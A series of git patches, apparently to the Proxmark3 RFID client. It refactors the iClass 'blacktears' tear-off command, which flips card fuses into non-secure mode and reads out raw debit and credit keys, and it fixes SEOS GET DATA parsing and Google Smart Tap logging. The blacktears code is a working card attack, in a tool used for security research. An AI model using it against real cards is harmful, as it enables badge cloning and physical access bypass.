uint32_t bb_offset; + } PACKED; + struct p_resp *packet = (struct p_resp *)resp.data.asBytes; + + if (packet->isOK == false) { + PrintAndLogEx(WARNING, "read blocks failed"); + return PM3_ESOFT; + } + + uint32_t startindex = packet->bb_offset; + uint32_t blocks_read = packet->block_cnt; + + uint8_t tempbuf[0x100 * PICOPASS_BLOCK_SIZE]; + if (GetFromDevice(BIG_BUF, tempbuf, sizeof(tempbuf), startindex, NULL, 0, NULL, 2500, false) == false) { + PrintAndLogEx(WARNING, "command execution time out"); + return PM3_ETIMEOUT; + } + + memcpy(tag_data + (PICOPASS_BLOCK_SIZE * 3), + tempbuf + (PICOPASS_BLOCK_SIZE * 3), + blocks_read * PICOPASS_BLOCK_SIZE); + + *taglen = (app_limit1 + 1) * PICOPASS_BLOCK_SIZE; + return PM3_SUCCESS; +} + static int CmdHFiClassDump(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass dump", @@ -3584,6 +3693,32 @@ out: return isok; } +static void iclass_read_interesting_data(uint8_t *key, uint8_t keyType, bool elite, bool rawkey, bool use_replay, + bool verbose, bool shallow_mod) { + bool auth = false; + uint8_t blockno = 3; + uint8_t kd_read[8] = {0}; + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kd_read, false); + + blockno = 4; + uint8_t kc_read[8] = {0}; + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kc_read, false); + + PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read))); + PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read))); + + // read dump data here and print (SIO , wiegand) + uint16_t n = 0; + uint8_t d[0x100 * PICOPASS_BLOCK_SIZE] = {0}; + iclass_dump_non_secure(shallow_mod, d, &n); + + DropField(); + + iclass_decode_credentials(d); + + // We should send it to SAM if we detect one installed, and get the FC/CN out +} + static int CmdHFiClass_BlackTears(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass blacktears", @@ -3615,14 +3750,16 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int key_nr = arg_get_int_def(ctx, 2, -1); int blockno = 1; - uint8_t data[8] = {0x12,0xFF,0xFE,0xFF,0x7F,0x1F,0xFF,0x2C}; //tearoff payload + uint8_t data[8] = {0x12, 0xFF, 0xFE, 0xFF, 0x7F, 0x1F, 0xFF, 0x2C}; // tearoff payload uint8_t mac[4] = {0}; + // Start at 1700, end at 1900. + // 5 steps increments int tearoff_start = arg_get_int_def(ctx, 4, 1700); int tearoff_original_start = tearoff_start; // save original start value for later use int tearoff_increment = arg_get_int_def(ctx, 5, 5); - int tearoff_end = arg_get_int_def(ctx, 6, tearoff_start + 200); //1900 default + int tearoff_end = arg_get_int_def(ctx, 6, tearoff_start + 200); // 1900 default int otp_len = 0; uint8_t otp[2] = {0}; @@ -3670,7 +3807,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { } } - if (otp_len > 0){ + if (otp_len > 0) { if (otp_len != 2) { PrintAndLogEx(ERR, "OTP is incorrect length"); return PM3_EINVARG; @@ -3683,10 +3820,10 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int isok = PM3_SUCCESS; bool read_ok = false; uint8_t keyType = ICLASS_DEBIT_KEYTYPE; - if(use_credit_key == true){ + if (use_credit_key == true) { PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); keyType = ICLASS_CREDIT_KEYTYPE; - }else{ + } else { PrintAndLogEx(SUCCESS, "Using " _YELLOW_("debit") " key"); } @@ -3739,18 +3876,10 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { picopass_hdr_t *hdr = &r->header.hdr; uint8_t pagemap = get_pagemap(hdr); if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { - PrintAndLogEx(INFO, _GREEN_("Card already in non-secure page mode!")); - read_auth = false; - blockno = 3; - uint8_t kd_read[8] = {0}; - iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kd_read, false); - blockno = 4; - uint8_t kc_read[8] = {0}; - iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kc_read, false); - PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read)));; - PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read)));; + PrintAndLogEx(INFO, "Card already in non-secure page mode"); + PrintAndLogEx(HINT, "try `" _YELLOW_("hf iclass dump") "` - to extract all memory"); DropField(); - return PM3_ESOFT; + return PM3_SUCCESS; } if (pagemap == 0x0) { @@ -3758,6 +3887,11 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { goto out; } + #define TEAR_INITAL 0x3C + #define TEAR_PERSO_ENABLED 0xBC + #define TEAR_PERSO_STABLE 0xBE + #define TEAR_UNLOCKED 0xAC + // perform initial read here, repeat if failed or 00s @@ -3802,13 +3936,12 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { // clear trace log SendCommandNG(CMD_BUFF_CLEAR, NULL, 0); - - PrintAndLogEx(INFO, "---------------------------------------"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); + // Main loop while ((tearoff_start <= tearoff_end) && (read_ok == false)) { @@ -3938,7 +4071,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { if (data_read[7] != data_read_orig[7]) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "Fuse changed, from "_YELLOW_("%02x")" to "_YELLOW_("%02x"), data_read_orig[7], data_read[7]); + PrintAndLogEx(SUCCESS, "Fuse changed, from "_YELLOW_("0x%02X")" to "_YELLOW_("0x%02X"), data_read_orig[7], data_read[7]); const char *flag_names[8] = { "RA", @@ -3955,7 +4088,13 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { for (int i = 7; i >= 0; --i) { int bit1 = (data_read_orig[7] >> i) & 1; int bit2 = (data_read[7] >> i) & 1; - PrintAndLogEx(INFO, "%-11s %-10d %-10d", flag_names[i], bit1, bit2); + + // if bit flipped, mark it with color + if (bit1 != bit2) { + PrintAndLogEx(SUCCESS, "%-11s %-10d " _GREEN_("%-10d"), flag_names[i], bit1, bit2); + } else { + PrintAndLogEx(INFO, "%-11s %-10d %-10d", flag_names[i], bit1, bit2); + } } isok = PM3_SUCCESS; @@ -3963,14 +4102,14 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { } // if more OTP bits set.. - if (data_read[1] > data_read_orig[1] || - data_read[2] > data_read_orig[2]) { + if (data_read[1] > data_read_orig[1] || data_read[2] > data_read_orig[2]) { + PrintAndLogEx(SUCCESS, "More OTP bits got set!!!"); data_read[7] = 0xBC; res = iclass_write_block(blockno, data_read, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); if (res != PM3_SUCCESS) { - PrintAndLogEx(INFO, "Stabilize the bits ( "_RED_("failed") " )"); + PrintAndLogEx(INFO, "Stabilize the bits ( %s )", _RED_("fail")); } isok = PM3_SUCCESS; @@ -4023,6 +4162,7 @@ out: .off = true }; handle_tearoff(¶ms, false); + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "Done!"); PrintAndLogEx(NORMAL, ""); @@ -4030,45 +4170,71 @@ out: read_auth = false; uint8_t data_read[8]= {0}; - uint8_t data_read2[8] = {0}; + uint8_t data_verify[8] = {0}; + int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); - if (res == PM3_SUCCESS){ - if(data_read[7] == 0xBC){ //stabilize with write operation to 0xBE - PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Stabilizing to: "_YELLOW_("0xBE"), data_read[7]); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t b7 = data_read[7]; + + switch(b7) { + + case TEAR_PERSO_ENABLED: { // stabilize 0xBC with write operation to 0xBE + PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X") " stabilizing to: "_YELLOW_("0xBE") NOLF, data_read[7]); + memcpy(data, data_read, PICOPASS_BLOCK_SIZE); - data[7] = 0xBE; + data[7] = TEAR_PERSO_STABLE; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read2, false); - if(data_read2[7] == 0xBE){ - PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Updating for unlock to: "_YELLOW_("0xAC"), data_read[7]); - memcpy(data, data_read2, PICOPASS_BLOCK_SIZE); - data[7] = 0xAC; + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_verify, false); + + if (data_verify[7] == TEAR_PERSO_STABLE) { + + PrintAndLogEx(SUCCESS, " ( %s )", _GREEN_("ok")); + PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X") " set non-secure memory: "_YELLOW_("0xAC"), data_read[7]); + + memcpy(data, data_verify, PICOPASS_BLOCK_SIZE); + data[7] = TEAR_UNLOCKED; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); - } - }else if(data_read[7] == 0xBE){ //unlock with write operation to 0xAC - PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Updating for unlock to: "_YELLOW_("0xAC"), data_read[7]); + } else { + PrintAndLogEx(FAILED, " ( %s )", _RED_("fail")); + } + break; + + } + case TEAR_PERSO_STABLE: { // unlock tag with write operation to 0xAC + PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X") " set non-secure memory: "_YELLOW_("0xAC"), data_read[7]); + memcpy(data, data_read, PICOPASS_BLOCK_SIZE); - data[7] = 0xAC; + data[7] = TEAR_UNLOCKED; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); - }else if(data_read[7] == 0xAC){//don't do anything as this is ok - PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")"! All is good!", data_read[7]); - }else if (data_read[7] == 0x3C){ - PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged.")); - }else{ - PrintAndLogEx(INFO, _YELLOW_("Did not detect 0xBC or 0xBE fuse, might need manual intervention!")); - } - } - iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read2, false); - if(data_read[7] == 0xAC || data_read2[7] == 0xAC){ //read block 3 and 4 and print the content - blockno = 3; - uint8_t kd_read[8] = {0}; - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kd_read, false); - blockno = 4; - uint8_t kc_read[8] = {0}; - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kc_read, false); - PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read)));; - PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read)));; + + break; + } + case TEAR_UNLOCKED: { // don't do anything as this is ok + PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); + + // if tag is now UNLOCKED, read block 3 and 4 and print the content + iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); + + break; + } + case TEAR_INITAL: { + PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); + // check for OTP change? + break; + } + default: { + PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " fuse, might need manual intervention!")); + break; + } } + + return isok; } From 9d923c81f0845b1ac1123d3f9ff30ef91116e312 Mon Sep 17 00:00:00 2001 From: Adam Jon Foster Date: Wed, 18 Mar 2026 13:17:40 +0800 Subject: [PATCH 117/162] Fixing the SEOS GET Data logic to allow for tags values longer than 255 There was an issue inside of the GET Data response where if the response was longer than 255 bytes (such as the FF41 tag on NVX's Zero Key format), it would fail to parse. I've added some extra wrapping to clean this up, but longer term we would need to refactor how we parse SM responses anyway. Signed-off-by: Adam Jon Foster --- client/src/cmdhfseos.c | 110 +++++++++++++++++++++++++++-------------- 1 file changed, 73 insertions(+), 37 deletions(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index 8021b7375..b3a7129ee 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -259,7 +259,7 @@ static void generate_command_wrapping(uint8_t *command_Header, int command_heade //return; } -static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_enc_key, uint8_t *diversified_mac_key, uint8_t *sioOutput, int *sio_size, int encryption_algorithm, uint8_t *data_tag, int data_tag_len) { +static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_enc_key, uint8_t *diversified_mac_key, uint8_t *sioOutput, int *tag_size, int encryption_algorithm, uint8_t *data_tag, int data_tag_len) { // Intergrating our command generation with the GetData request to make my life easier in the future // Command Header is for the Get Data Command using @@ -307,7 +307,7 @@ static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_ for (int i = 0; i < command_len; i++) { snprintf(&completedCommandChar[i * 2], 3, "%02X", command_convert[i]); } - // PrintAndLogEx(SUCCESS, "Command.......................... " _YELLOW_("%s"), completedCommandChar); + //PrintAndLogEx(SUCCESS, "Command.......................... " _YELLOW_("%s"), completedCommandChar); // ------------------- Send Command ------------------- uint8_t response[PM3_CMD_DATA_SIZE]; @@ -337,46 +337,82 @@ static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_ // 99 is our status word response (2 bytes) // 8E is our MAC response (8 bytes) // PrintAndLogEx(SUCCESS, "Raw Response..................... " _YELLOW_("%s"), sprint_hex_inrow(response, (resplen - 2))); - - uint8_t responseCode[2]; - uint8_t tag[2] = {0x00, 0x00}; - int getDataSize = 0; - + uint8_t cryptogram[256] = {0}; + uint8_t responseCode[2] = {0}; + uint8_t mac[8] = {0}; + size_t cryptogram_length = 0; + + // Parse the response to extract the three tags + for (int i = 0; i < resplen - 2; ) { + if (response[i] == 0x85) { + // Cryptogram tag + size_t offset = i + 1; + asn1_get_tag_length(response, &cryptogram_length, &offset, resplen); + memcpy(cryptogram, response + offset, cryptogram_length); + i += offset + cryptogram_length; + } else if (response[i] == 0x99) { + // Response code tag + size_t len = response[i + 1]; + memcpy(responseCode, response + i + 2, len); + i += 2 + len; + } else if (response[i] == 0x8E) { + // MAC tag + size_t len = response[i + 1]; + memcpy(mac, response + i + 2, len); + i += 2 + len; + } else { + i += 2 + response[i + 1]; + } + } + // ------------------- Cryptogram Response ------------------- - if (resplen >= 2 && response[0] == 0x85) { - uint8_t cryptogram_length = response[1]; - uint8_t cryptogram[cryptogram_length]; + if (cryptogram_length > 0) { uint8_t decrypted[cryptogram_length]; - memcpy(cryptogram, response + 2, cryptogram_length); - memcpy(responseCode, response + cryptogram_length + 4, 2); + int getDataSize = 0; // Decrypt the response - decrypt_cryptogram(diversified_enc_key, cryptogram, decrypted, sizeof(cryptogram), encryption_algorithm); - - // Response Format - // FF0038302F8102578CA5020500A6088101010403030008A7178515D65ED945996AB9107CD6D3E6011F56FFDD9CFFC780A9020500050000000000008000000000 - - // FF00 is our inputed tag value - // 38 is our len - - // PrintAndLogEx(SUCCESS, "Cryptogram....................... " _YELLOW_("%s"), sprint_hex_inrow(cryptogram, sizeof(cryptogram))); - // PrintAndLogEx(SUCCESS, "Decrypted........................ " _YELLOW_("%s"), sprint_hex_inrow(decrypted, sizeof(decrypted))); - - getDataSize = decrypted[2]; - memcpy(tag, decrypted, ARRAYLEN(tag)); - memmove(decrypted, decrypted + 1, sizeof(decrypted) - 1); - memmove(sioOutput, decrypted + 2, getDataSize); - *sio_size = getDataSize; - memcpy(responseCode, response + cryptogram_length + 4, 2); - - PrintAndLogEx(SUCCESS, "Response Code.................... " _YELLOW_("%s"), sprint_hex_inrow(responseCode, (ARRAYLEN(responseCode)))); - PrintAndLogEx(SUCCESS, "Output........................... " _YELLOW_("%s"), sprint_hex_inrow(sioOutput, getDataSize)); - } else if (resplen >= 2 && response[0] == 0x99) { - memcpy(responseCode, response + 2, 2); - // PrintAndLogEx(SUCCESS, "Raw Response..................... " _YELLOW_("%s"), sprint_hex_inrow(response, (resplen - 2))); - PrintAndLogEx(SUCCESS, "Response Code.................... " _YELLOW_("%s"), sprint_hex_inrow(responseCode, (ARRAYLEN(responseCode)))); + decrypt_cryptogram(diversified_enc_key, cryptogram, decrypted, cryptogram_length, encryption_algorithm); + + //PrintAndLogEx(SUCCESS, "Cryptogram....................... " _YELLOW_("%s"), sprint_hex_inrow(cryptogram, cryptogram_length)); + //PrintAndLogEx(SUCCESS, "Decrypted........................ " _YELLOW_("%s"), sprint_hex_inrow(decrypted, cryptogram_length)); + + // Parse TLV: tag can be 1 or 2 bytes + int offset = 0; + uint8_t tag[2] = {0x00, 0x00}; + int tag_len = 1; + + // Check if it's a 2-byte tag (first byte has bits 5-1 all set to 1) + if ((decrypted[offset] & 0x1F) == 0x1F) { + tag[0] = decrypted[offset]; + tag[1] = decrypted[offset + 1]; + tag_len = 2; + offset += 2; + } else { + tag[0] = decrypted[offset]; + offset += 1; + } + + // Get length byte + uint8_t length_byte = decrypted[offset]; + offset += 1; + + // Extract the value + getDataSize = length_byte; + memcpy(sioOutput, decrypted + offset, getDataSize); + *tag_size = getDataSize; + + PrintAndLogEx(SUCCESS, "Tag.............................. " _YELLOW_("%s"), sprint_hex_inrow(tag, tag_len)); + PrintAndLogEx(SUCCESS, "Value............................ " _YELLOW_("%s"), sprint_hex_inrow(sioOutput, getDataSize)); } - + + if (responseCode[0] != 0x00 || responseCode[1] != 0x00) { + PrintAndLogEx(SUCCESS, "Response Code.................... " _YELLOW_("%s"), sprint_hex_inrow(responseCode, ARRAYLEN(responseCode))); + } + + // if (mac[0] != 0x00) { + // PrintAndLogEx(SUCCESS, "MAC.............................. " _YELLOW_("%s"), sprint_hex_inrow(mac, sizeof(mac))); + // } + return PM3_SUCCESS; }; From ee0b5ba3d3561df231091e8b9d41c4aafd02c3dc Mon Sep 17 00:00:00 2001 From: Adam Jon Foster Date: Wed, 18 Mar 2026 13:20:59 +0800 Subject: [PATCH 118/162] Update cmdhfseos.c Fixing debug names Signed-off-by: Adam Jon Foster --- client/src/cmdhfseos.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index b3a7129ee..202a12368 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -259,7 +259,7 @@ static void generate_command_wrapping(uint8_t *command_Header, int command_heade //return; } -static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_enc_key, uint8_t *diversified_mac_key, uint8_t *sioOutput, int *tag_size, int encryption_algorithm, uint8_t *data_tag, int data_tag_len) { +static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_enc_key, uint8_t *diversified_mac_key, uint8_t *sioOutput, int *sio_size, int encryption_algorithm, uint8_t *data_tag, int data_tag_len) { // Intergrating our command generation with the GetData request to make my life easier in the future // Command Header is for the Get Data Command using @@ -399,7 +399,7 @@ static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_ // Extract the value getDataSize = length_byte; memcpy(sioOutput, decrypted + offset, getDataSize); - *tag_size = getDataSize; + *sio_size = getDataSize; PrintAndLogEx(SUCCESS, "Tag.............................. " _YELLOW_("%s"), sprint_hex_inrow(tag, tag_len)); PrintAndLogEx(SUCCESS, "Value............................ " _YELLOW_("%s"), sprint_hex_inrow(sioOutput, getDataSize)); From 55eb0a8d82f695527cb92ab6867ea9df9576dcdb Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 18 Mar 2026 16:20:44 +0800 Subject: [PATCH 119/162] Update cmdhficlass.c Fixed missing hf iclass blacktears read after @iceman1001 's update of the function from IF to SWITCH in: https://github.com/Antiklesys/proxmark3/commit/3eac1861f6baa0127855edb2323781f7f4bda8ab --- client/src/cmdhficlass.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index b1cbe79a7..099e0107b 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4200,6 +4200,8 @@ out: data[7] = TEAR_UNLOCKED; iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + + iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); } else { PrintAndLogEx(FAILED, " ( %s )", _RED_("fail")); } @@ -4213,6 +4215,8 @@ out: data[7] = TEAR_UNLOCKED; iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + + iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); break; } From 3f95d3cc05cec02052a385e1caad486a9767fdf8 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 18 Mar 2026 16:32:31 +0800 Subject: [PATCH 120/162] Update cmdhficlass.c Added additional personalization case --- client/src/cmdhficlass.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 099e0107b..98840d1c6 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3891,6 +3891,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { #define TEAR_INITAL 0x3C #define TEAR_PERSO_ENABLED 0xBC #define TEAR_PERSO_STABLE 0xBE + #define TEAR_PERSO_STABLE2 0x9C #define TEAR_UNLOCKED 0xAC @@ -4208,7 +4209,8 @@ out: break; } - case TEAR_PERSO_STABLE: { // unlock tag with write operation to 0xAC + case TEAR_PERSO_STABLE: + case TEAR_PERSO_STABLE2: { // unlock tag with write operation to 0xAC PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X") " set non-secure memory: "_YELLOW_("0xAC"), data_read[7]); memcpy(data, data_read, PICOPASS_BLOCK_SIZE); From fd09895f0e68a552da9609ff0d2d7b9a5946dc34 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 18 Mar 2026 16:34:38 +0800 Subject: [PATCH 121/162] Update cmdhficlass.c Updated error description --- client/src/cmdhficlass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 98840d1c6..bf77c347b 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4236,7 +4236,7 @@ out: break; } default: { - PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " fuse, might need manual intervention!")); + PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " or " _YELLOW_("0x9C") " fuse, might need manual intervention!")); break; } } From 367fd6f4c97388039793c08e1f8b96d9bddc1079 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 18 Mar 2026 18:51:14 +0700 Subject: [PATCH 122/162] documentation --- client/src/cmdhficlass.c | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index bf77c347b..0d372110d 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4183,23 +4183,28 @@ out: switch(b7) { - case TEAR_PERSO_ENABLED: { // stabilize 0xBC with write operation to 0xBE - PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X") " stabilizing to: "_YELLOW_("0xBE") NOLF, data_read[7]); + case TEAR_PERSO_ENABLED: { + + // stabilize 0xBC with write operation to 0xBE + PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " stabilizing to: " _YELLOW_("0xBE") NOLF, data_read[7]); memcpy(data, data_read, PICOPASS_BLOCK_SIZE); data[7] = TEAR_PERSO_STABLE; iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + + // verify if it was a succesful write res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_verify, false); if (data_verify[7] == TEAR_PERSO_STABLE) { PrintAndLogEx(SUCCESS, " ( %s )", _GREEN_("ok")); - PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X") " set non-secure memory: "_YELLOW_("0xAC"), data_read[7]); + PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]); memcpy(data, data_verify, PICOPASS_BLOCK_SIZE); data[7] = TEAR_UNLOCKED; + // set non-secure memory with 0xAC, in this state it will always succeed iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); @@ -4210,24 +4215,25 @@ out: } case TEAR_PERSO_STABLE: - case TEAR_PERSO_STABLE2: { // unlock tag with write operation to 0xAC - PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X") " set non-secure memory: "_YELLOW_("0xAC"), data_read[7]); + case TEAR_PERSO_STABLE2: { + + PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]); memcpy(data, data_read, PICOPASS_BLOCK_SIZE); data[7] = TEAR_UNLOCKED; + // set non-secure memory with 0xAC, in this state it will always succeed iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - break; } - case TEAR_UNLOCKED: { // don't do anything as this is ok - PrintAndLogEx(SUCCESS, "Detected fuse: "_GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); + case TEAR_UNLOCKED: { + + // don't do anything as this is ok + PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); - // if tag is now UNLOCKED, read block 3 and 4 and print the content iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - break; } case TEAR_INITAL: { From e15d5504a6c044ccf7f9409aa8ffbc541ccedb55 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Wed, 18 Mar 2026 21:13:52 +0200 Subject: [PATCH 123/162] Move most of GST logging under 'verbose' flag --- client/src/cmdhfgst.c | 88 ++++++++++++++++++++++++++++++++++--------- 1 file changed, 70 insertions(+), 18 deletions(-) diff --git a/client/src/cmdhfgst.c b/client/src/cmdhfgst.c index 78d03efbe..ad205c4e2 100644 --- a/client/src/cmdhfgst.c +++ b/client/src/cmdhfgst.c @@ -178,6 +178,7 @@ typedef struct { gst_select_behavior_t select_behavior; bool live_authentication; bool apdu_logging; + bool verbose; } gst_read_config_t; typedef struct { @@ -207,6 +208,19 @@ static bool gst_wallet_type_is_android_pay(const uint8_t *wallet_type, size_t wa && memcmp(wallet_type, android_pay_wallet_type, sizeof(android_pay_wallet_type) - 1) == 0; } +static bool gst_wallet_type_is_apple_pay(const uint8_t *wallet_type, size_t wallet_type_len) { + static const uint8_t apple_pay_wallet_type[] = "ApplePay"; + return wallet_type != NULL + && wallet_type_len == (sizeof(apple_pay_wallet_type) - 1) + && memcmp(wallet_type, apple_pay_wallet_type, sizeof(apple_pay_wallet_type) - 1) == 0; +} + +static void gst_print_wallet_type_hint(const uint8_t *wallet_type, size_t wallet_type_len) { + if (gst_wallet_type_is_apple_pay(wallet_type, wallet_type_len)) { + PrintAndLogEx(INFO, "Hint: detected Apple VAS flavor of OSE.VAS.01. Try " _YELLOW_("hf vas") " commands."); + } +} + static uint32_t gst_version_value(const uint8_t version[2]) { return ((uint32_t)version[0] << 8) | version[1]; } @@ -796,6 +810,7 @@ static void gst_print_ose_info(const gst_ose_info_t *info) { sprint_ascii(info->wallet_type, info->wallet_type_len)); if (gst_wallet_type_is_android_pay(info->wallet_type, info->wallet_type_len) == false) { PrintAndLogEx(WARNING, "Wallet type is not AndroidPay. This likely isn't Google Smart Tap."); + gst_print_wallet_type_hint(info->wallet_type, info->wallet_type_len); skip_gst_details = true; } } else { @@ -1749,7 +1764,9 @@ static void gst_print_service_objects(const uint8_t *message, size_t message_len } object_count++; - PrintAndLogEx(INFO, ""); + if (object_count > 1) { + PrintAndLogEx(INFO, ""); + } PrintAndLogEx(INFO, _CYAN_("Object #%" PRIuPTR), (uintptr_t)object_count); PrintAndLogEx(INFO, " kind.................... %s", is_customer ? "customer" : object_name); PrintAndLogEx(INFO, " issuer_type............. %s (0x%02X)", gst_issuer_type_name(issuer_type), issuer_type); @@ -2008,8 +2025,21 @@ static int 